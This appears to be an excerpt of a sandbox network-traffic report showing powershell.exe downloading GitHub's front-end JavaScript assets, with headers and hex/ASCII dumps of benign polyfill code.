2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6f 64 64 62 69 72 64 5f 70 6f 70 6f 76 65 72 2d 70 6f 6c 79 66 69 6c 6c 5f 64 69 73 74 5f 70 6f 70 6f 76 65 72 5f 6a 73 22 5d 2c 7b 35 39 31 33 36 3a 28 29 3d 3e 7b 76 61 72 20 65 3d 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 45 76 65 6e 74 7b 6f 6c 64 53 74 61 74 65 3b 6e 65 77 53 74 61 74 65 3b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 7b 6f 6c 64 53 74 61 74 65 3a 74 3d 22 22 2c 6e 65 77 53 74 61 74 65 3a 6f 3d 22 22 2c 2e 2e 2e 6e 7d 3d 7b 7d 29 7b 73 75 70 65 72 28 65 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_oddbird_popover-polyfill_dist_popover_js"],{59136:()=>{var e=class extends Event{oldState;newState;constructor(e,{oldState:t="",newState:o="",...n}={}){super(e
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 28 21 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 65 28 22 62 65 66 6f 72 65 74 6f 67 67 6c 65 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 2c 6f 6c 64 53 74 61 74 65 3a 22 63 6c 6f 73 65 64 22 2c 6e 65 77 53 74 61 74 65 3a 22 6f 70 65 6e 22 7d 29 29 7c 7c 21 73 28 74 2c 21 31 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 70 3d 21 31 3b 69 66 28 22 61 75 74 6f 22 3d 3d 3d 74 2e 70 6f 70 6f 76 65 72 29 7b 6c 65 74 20 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 70 6f 70 6f 76 65 72 22 29 3b 69 66 28 62 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 6e 65 77 20 4d 61 70 2c 6f 3d 30 3b 66 6f 72 28 6c 65 74 20 6e 20 6f 66 20 6c 2e 67 65 74 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 7c 7c 5b 5d 29 74 2e 73 65 74 28 6e 2c Data Ascii: (!t.dispatchEvent(new e("beforetoggle",{cancelable:!0,oldState:"closed",newState:"open"}))\|\|!s(t,!1))return;let p=!1;if("auto"===t.popover){let e=t.getAttribute("popover");if(b(function(e){let t=new Map,o=0;for(let n of l.get(e.ownerDocument)\|\|[])t.set(n,
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 41 6e 63 68 6f 72 45 6c 65 6d 65 6e 74 26 26 22 22 3d 3d 3d 6c 2e 68 72 65 66 29 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 6c 2e 74 61 62 49 6e 64 65 78 26 26 2d 31 21 3d 3d 6c 2e 74 61 62 49 6e 64 65 78 29 72 65 74 75 72 6e 20 69 3b 69 3d 72 2e 6e 65 78 74 4e 6f 64 65 28 29 7d 7d 29 28 74 29 3f 2e 66 6f 63 75 73 28 29 2c 22 61 75 74 6f 22 3d 3d 3d 74 2e 70 6f 70 6f 76 65 72 26 26 28 6c 2e 68 61 73 28 72 29 7c 7c 6c 2e 73 65 74 28 72 2c 6e 65 77 20 53 65 74 29 2c 6c 2e 67 65 74 28 72 29 2e 61 64 64 28 74 29 2c 53 28 75 2e 67 65 74 28 74 29 2c 21 30 29 29 2c 70 26 26 63 26 26 22 61 75 74 6f 22 3d 3d 3d 74 2e 70 6f 70 6f 76 65 72 26 26 67 2e 73 65 74 28 74 2c 63 29 2c 6f 28 74 2c 22 63 6c 6f 73 65 64 Data Ascii: nstanceof HTMLAnchorElement&&""===l.href)&&"number"==typeof l.tabIndex&&-1!==l.tabIndex)return i;i=r.nextNode()}})(t)?.focus(),"auto"===t.popover&&(l.has(r)\|\|l.set(r,new Set),l.get(r).add(t),S(u.get(t),!0)),p&&c&&"auto"===t.popover&&g.set(t,c),o(t,"closed
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 3d 65 2e 74 79 70 65 29 7b 6c 65 74 20 65 3d 45 2e 67 65 74 28 6f 29 3d 3d 3d 72 3b 45 2e 64 65 6c 65 74 65 28 6f 29 2c 65 26 26 62 28 72 7c 7c 6f 2c 21 31 2c 21 30 29 7d 7d 76 61 72 20 54 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 53 28 65 2c 74 3d 21 31 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 3b 54 2e 68 61 73 28 65 29 7c 7c 54 2e 73 65 74 28 65 2c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 29 29 3b 6c 65 74 20 6f 3d 65 2e 70 6f 70 6f 76 65 72 54 61 72 67 65 74 45 6c 65 6d 65 6e 74 3b 69 66 28 6f 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 22 61 75 74 6f 22 3d 3d 3d 6f 2e 70 6f 70 6f 76 65 72 29 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 Data Ascii: =e.type){let e=E.get(o)===r;E.delete(o),e&&b(r\|\|o,!1,!0)}}var T=new WeakMap;function S(e,t=!1){if(!e)return;T.has(e)\|\|T.set(e,e.getAttribute("aria-expanded"));let o=e.popoverTargetElement;if(o instanceof HTMLElement&&"auto"===o.popover)e.setAttribute("ari
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 6e 76 61 73 29 20 7b 0a 20 20 20 20 3a 77 68 65 72 65 28 5b 70 6f 70 6f 76 65 72 5d 29 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 0a 20 20 40 73 75 70 70 6f 72 74 73 20 28 77 69 64 74 68 3a 20 2d 6d 6f 7a 2d 66 69 74 2d 63 6f 6e 74 65 6e 74 29 20 7b 0a 20 20 20 20 3a 77 68 65 72 65 28 5b 70 6f 70 6f 76 65 72 5d 29 20 7b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 2d 6d 6f 7a 2d 66 69 74 2d 63 6f 6e 74 65 6e 74 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 2d 6d 6f 7a 2d 66 69 74 2d 63 6f 6e 74 65 6e 74 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 0a 20 20 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 69 6e 73 65 74 3a Data Ascii: nvas) { :where([popover]) { background-color: white; color: black; } } @supports (width: -moz-fit-content) { :where([popover]) { width: -moz-fit-content; height: -moz-fit-content; } } @supports not (inset:
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 3d 28 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 70 6f 70 6f 76 65 72 22 29 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 22 3d 3d 3d 65 7c 7c 22 61 75 74 6f 22 3d 3d 65 3f 22 61 75 74 6f 22 3a 22 6d 61 6e 75 61 6c 22 7d 2c 73 65 74 28 65 29 7b 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 70 6f 70 6f 76 65 72 22 2c 65 29 7d 7d 2c 73 68 6f 77 50 6f 70 6f 76 65 72 3a 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 28 29 7b 6d 28 74 68 69 73 29 7d 7d 2c 68 69 64 65 50 6f 70 6f 76 65 72 3a 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 28 29 7b 76 28 74 68 69 73 2c 21 30 2c 21 30 Data Ascii: =(this.getAttribute("popover")\|\|"").toLowerCase();return""===e\|\|"auto"==e?"auto":"manual"},set(e){this.setAttribute("popover",e)}},showPopover:{enumerable:!0,configurable:!0,value(){m(this)}},hidePopover:{enumerable:!0,configurable:!0,value(){v(this,!0,!0
2024-09-30 13:50:15 UTC	1340	IN	Data Raw: 3d 69 2e 67 65 74 28 74 68 69 73 29 3b 69 66 28 65 26 26 65 2e 69 73 43 6f 6e 6e 65 63 74 65 64 29 72 65 74 75 72 6e 20 65 3b 69 66 28 65 26 26 21 65 2e 69 73 43 6f 6e 6e 65 63 74 65 64 29 72 65 74 75 72 6e 20 69 2e 64 65 6c 65 74 65 28 74 68 69 73 29 2c 6e 75 6c 6c 3b 6c 65 74 20 74 3d 64 28 74 68 69 73 29 2c 6f 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 70 6f 70 6f 76 65 72 74 61 72 67 65 74 22 29 3b 72 65 74 75 72 6e 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 4d 29 26 26 6f 26 26 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 6f 29 7c 7c 6e 75 6c 6c 7d 7d 2c 70 6f 70 6f 76 65 72 54 61 72 67 65 74 41 63 74 69 6f 6e 3a 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 Data Ascii: =i.get(this);if(e&&e.isConnected)return e;if(e&&!e.isConnected)return i.delete(this),null;let t=d(this),o=this.getAttribute("popovertarget");return(t instanceof Document\|\|t instanceof M)&&o&&t.getElementById(o)\|\|null}},popoverTargetAction:{enumerable:!0,c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49728	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:15 UTC	450	OUT	GET /assets/vendors-node_modules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092-b9c7cf3107b7.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:15 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17299 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Mon, 16 Sep 2024 23:19:53 GMT ETag: "0x8DCD6A6120A4187" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1112678 Date: Mon, 30 Sep 2024 13:50:15 GMT X-Served-By: cache-iad-kcgs7200038-IAD, cache-nyc-kteb1890094-NYC X-Cache: HIT, HIT X-Cache-Hits: 34, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 90082e29fb9ba9ee5dde87528a84ec527b94c105
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 61 72 69 61 6e 6f 74 69 66 79 2d 70 6f 6c 79 66 69 6c 6c 5f 61 72 69 61 4e 6f 74 69 66 79 2d 70 6f 6c 79 66 69 6c 6c 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 2d 32 34 37 30 39 32 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 Data Ascii: (globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dis
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 65 6e 74 3b 6d 65 73 73 61 67 65 3b 70 72 69 6f 72 69 74 79 3d 22 6e 6f 6e 65 22 3b 69 6e 74 65 72 72 75 70 74 3d 22 6e 6f 6e 65 22 3b 67 65 74 20 23 65 28 29 7b 72 65 74 75 72 6e 22 61 6c 6c 22 3d 3d 3d 74 68 69 73 2e 69 6e 74 65 72 72 75 70 74 7c 7c 22 70 65 6e 64 69 6e 67 22 3d 3d 3d 74 68 69 73 2e 69 6e 74 65 72 72 75 70 74 7d 63 6f 6e 73 74 72 75 63 74 6f 72 28 7b 65 6c 65 6d 65 6e 74 3a 65 2c 6d 65 73 73 61 67 65 3a 74 2c 70 72 69 6f 72 69 74 79 3a 6f 3d 22 6e 6f 6e 65 22 2c 69 6e 74 65 72 72 75 70 74 3a 6e 3d 22 6e 6f 6e 65 22 7d 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 65 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 74 2c 74 68 69 73 2e 70 72 69 6f 72 69 74 79 3d 6f 2c 74 68 69 73 2e 69 6e 74 65 72 72 75 70 74 3d 6e 7d 6d 61 74 63 68 65 73 28 65 Data Ascii: ent;message;priority="none";interrupt="none";get #e(){return"all"===this.interrupt\|\|"pending"===this.interrupt}constructor({element:e,message:t,priority:o="none",interrupt:n="none"}){this.element=e,this.message=t,this.priority=o,this.interrupt=n}matches(e
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 75 65 22 2c 74 68 69 73 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 74 68 69 73 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 2d 39 39 39 39 70 78 22 7d 68 61 6e 64 6c 65 4d 65 73 73 61 67 65 28 65 3d 6e 75 6c 6c 2c 6f 3d 22 22 29 7b 74 3d 3d 3d 65 26 26 28 74 68 69 73 2e 23 72 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 3d 6f 26 26 28 6f 2b 3d 22 5c 78 61 30 22 29 2c 74 68 69 73 2e 23 72 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 6f 29 7d 7d 3b 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 64 65 66 69 6e 65 28 6f 2c 4c 69 76 65 52 65 67 69 6f 6e 43 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 29 2c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 61 72 69 61 4e 6f 74 69 66 79 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 7b 70 72 69 6f 72 69 74 79 Data Ascii: ue",this.style.position="absolute",this.style.left="-9999px"}handleMessage(e=null,o=""){t===e&&(this.#r.textContent==o&&(o+="\xa0"),this.#r.textContent=o)}};customElements.define(o,LiveRegionCustomElement),Element.prototype.ariaNotify=function(e,{priority
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 5b 30 5d 29 7b 69 66 28 21 30 3d 3d 3d 61 28 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 29 7b 69 2e 73 63 72 6f 6c 6c 2e 63 61 6c 6c 28 74 2c 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 3a 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 74 2e 73 63 72 6f 6c 6c 58 7c 7c 74 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 74 6f 70 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 74 6f 70 3a 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 74 2e 73 63 72 6f 6c 6c 59 7c 7c 74 2e 70 61 67 65 59 Data Ascii: [0]){if(!0===a(arguments[0])){i.scroll.call(t,void 0!==arguments[0].left?arguments[0].left:"object"!=typeof arguments[0]?arguments[0]:t.scrollX\|\|t.pageXOffset,void 0!==arguments[0].top?arguments[0].top:void 0!==arguments[1]?arguments[1]:t.scrollY\|\|t.pageY
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 42 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 7b 69 66 28 21 30 3d 3d 3d 61 28 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 29 7b 69 2e 65 6c 65 6d 65 6e 74 53 63 72 6f 6c 6c 2e 63 61 6c 6c 28 74 68 69 73 2c 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 3f 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 2b 74 68 69 73 2e 73 63 72 6f 6c 6c 4c 65 66 74 3a 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2b 74 68 69 73 2e 73 63 72 6f 6c 6c 4c 65 66 74 2c 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 74 6f 70 3f 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 74 6f 70 2b 74 68 69 73 2e 73 63 Data Ascii: n.prototype.scrollBy=function(){if(void 0!==arguments[0]){if(!0===a(arguments[0])){i.elementScroll.call(this,void 0!==arguments[0].left?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,void 0!==arguments[0].top?~~arguments[0].top+this.sc
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 67 68 74 2b 6c 3c 65 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 3a 22 58 22 3d 3d 3d 74 3f 65 2e 63 6c 69 65 6e 74 57 69 64 74 68 2b 6c 3c 65 2e 73 63 72 6f 6c 6c 57 69 64 74 68 3a 76 6f 69 64 20 30 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 6f 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 5b 22 6f 76 65 72 66 6c 6f 77 22 2b 6f 5d 3b 72 65 74 75 72 6e 22 61 75 74 6f 22 3d 3d 3d 6e 7c 7c 22 73 63 72 6f 6c 6c 22 3d 3d 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 6e 2c 6c 29 7b 76 61 72 20 61 2c 63 2c 75 2c 64 2c 70 3d 72 28 29 3b 65 3d 3d 3d 6f 2e 62 6f 64 79 3f 28 61 3d 74 2c 63 3d 74 2e 73 63 72 6f 6c 6c 58 7c 7c 74 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 75 3d 74 2e 73 63 72 6f 6c 6c 59 7c 7c 74 2e 70 Data Ascii: ght+l<e.scrollHeight:"X"===t?e.clientWidth+l<e.scrollWidth:void 0}function u(e,o){var n=t.getComputedStyle(e,null)["overflow"+o];return"auto"===n\|\|"scroll"===n}function d(e,n,l){var a,c,u,d,p=r();e===o.body?(a=t,c=t.scrollX\|\|t.pageXOffset,u=t.scrollY\|\|t.p
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 72 3a 74 5b 34 5d 3f 2b 74 5b 34 5d 3a 6e 75 6c 6c 2c 63 6f 6c 75 6d 6e 3a 74 5b 35 5d 3f 2b 74 5b 35 5d 3a 6e 75 6c 6c 7d 7d 28 74 29 7c 7c 28 28 69 3d 64 2e 65 78 65 63 28 74 29 29 3f 7b 66 69 6c 65 3a 69 5b 32 5d 2c 6d 65 74 68 6f 64 4e 61 6d 65 3a 69 5b 31 5d 7c 7c 6e 2c 61 72 67 75 6d 65 6e 74 73 3a 5b 5d 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 2b 69 5b 33 5d 2c 63 6f 6c 75 6d 6e 3a 69 5b 34 5d 3f 2b 69 5b 34 5d 3a 6e 75 6c 6c 7d 3a 6e 75 6c 6c 29 7c 7c 28 28 70 3d 75 2e 65 78 65 63 28 74 29 29 3f 7b 66 69 6c 65 3a 70 5b 33 5d 2c 6d 65 74 68 6f 64 4e 61 6d 65 3a 70 5b 31 5d 7c 7c 6e 2c 61 72 67 75 6d 65 6e 74 73 3a 5b 5d 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 2b 70 5b 34 5d 2c 63 6f 6c 75 6d 6e 3a 70 5b 35 5d 3f 2b 70 5b 35 5d 3a 6e 75 6c 6c 7d 3a 6e 75 6c Data Ascii: r:t[4]?+t[4]:null,column:t[5]?+t[5]:null}}(t)\|\|((i=d.exec(t))?{file:i[2],methodName:i[1]\|\|n,arguments:[],lineNumber:+i[3],column:i[4]?+i[4]:null}:null)\|\|((p=u.exec(t))?{file:p[3],methodName:p[1]\|\|n,arguments:[],lineNumber:+p[4],column:p[5]?+p[5]:null}:nul
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 66 69 6c 6c 65 64 3a 28 29 3d 3e 53 2c 69 73 53 75 70 70 6f 72 74 65 64 3a 28 29 3d 3e 54 7d 29 3b 76 61 72 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 6c 65 74 20 74 3d 6e 65 77 20 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 3b 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 74 2e 61 62 6f 72 74 28 6e 65 77 20 44 4f 4d 45 78 63 65 70 74 69 6f 6e 28 22 54 69 6d 65 6f 75 74 45 72 72 6f 72 22 29 29 2c 65 29 2c 74 2e 73 69 67 6e 61 6c 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 22 61 62 6f 72 74 22 69 6e 20 41 62 6f 72 74 53 69 67 6e 61 6c 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 62 6f 72 74 53 69 67 6e 61 6c 2e 74 69 6d 65 6f 75 74 7d 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 72 65 74 Data Ascii: filled:()=>S,isSupported:()=>T});var s={};function a(e){let t=new AbortController;return setTimeout(()=>t.abort(new DOMException("TimeoutError")),e),t.signal}function c(){return"abort"in AbortSignal&&"function"==typeof AbortSignal.timeout}function u(){ret
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 74 65 64 29 72 65 74 75 72 6e 21 31 3b 6c 65 74 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 68 69 73 29 3b 69 66 28 22 63 6f 6e 74 65 6e 74 73 22 3d 3d 3d 6f 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 64 69 73 70 6c 61 79 22 29 7c 7c 74 26 26 22 76 69 73 69 62 6c 65 22 21 3d 3d 6f 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 29 72 65 74 75 72 6e 21 31 3b 6c 65 74 20 6e 3d 74 68 69 73 3b 66 6f 72 28 3b 6e 3b 29 7b 6c 65 74 20 74 3d 6e 3d 3d 3d 74 68 69 73 3f 6f 3a 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 6e 29 3b 69 66 28 22 6e 6f 6e 65 22 3d 3d 3d 74 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 64 69 73 70 6c 61 79 22 29 7c 7c 65 26 26 22 30 22 3d 3d 3d Data Ascii: ted)return!1;let o=getComputedStyle(this);if("contents"===o.getPropertyValue("display")\|\|t&&"visible"!==o.getPropertyValue("visibility"))return!1;let n=this;for(;n;){let t=n===this?o:getComputedStyle(n);if("none"===t.getPropertyValue("display")\|\|e&&"0"===
2024-09-30 13:50:15 UTC	1378	IN	Data Raw: 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 7b 64 69 64 54 69 6d 65 6f 75 74 3a 21 31 2c 74 69 6d 65 52 65 6d 61 69 6e 69 6e 67 3a 28 29 3d 3e 4d 61 74 68 2e 6d 61 78 28 30 2c 35 30 2d 28 44 61 74 65 2e 6e 6f 77 28 29 2d 6f 29 29 7d 2c 22 64 69 64 54 69 6d 65 6f 75 74 22 2c 7b 67 65 74 3a 28 29 3d 3e 44 61 74 65 2e 6e 6f 77 28 29 2d 6f 3e 6e 7d 29 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 65 28 69 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 65 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 2e 72 65 71 75 65 73 74 49 64 6c 65 43 61 6c 6c 62 Data Ascii: ject.defineProperty({didTimeout:!1,timeRemaining:()=>Math.max(0,50-(Date.now()-o))},"didTimeout",{get:()=>Date.now()-o>n});return window.setTimeout(()=>{e(i)})}function E(e){clearTimeout(e)}function j(){return"function"==typeof globalThis.requestIdleCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49730	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:16 UTC	361	OUT	GET /assets/environment-2f240f7ed1b3.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:17 UTC	693	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4782 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 07:22:38 GMT ETag: "0x8DCDD32D5BDF831" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 453087 Date: Mon, 30 Sep 2024 13:50:16 GMT X-Served-By: cache-iad-kiad7000052-IAD, cache-ewr-kewr1740061-EWR X-Cache: HIT, HIT X-Cache-Hits: 30, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 95a519c09e5f07d5635953715f952ab0d506b626
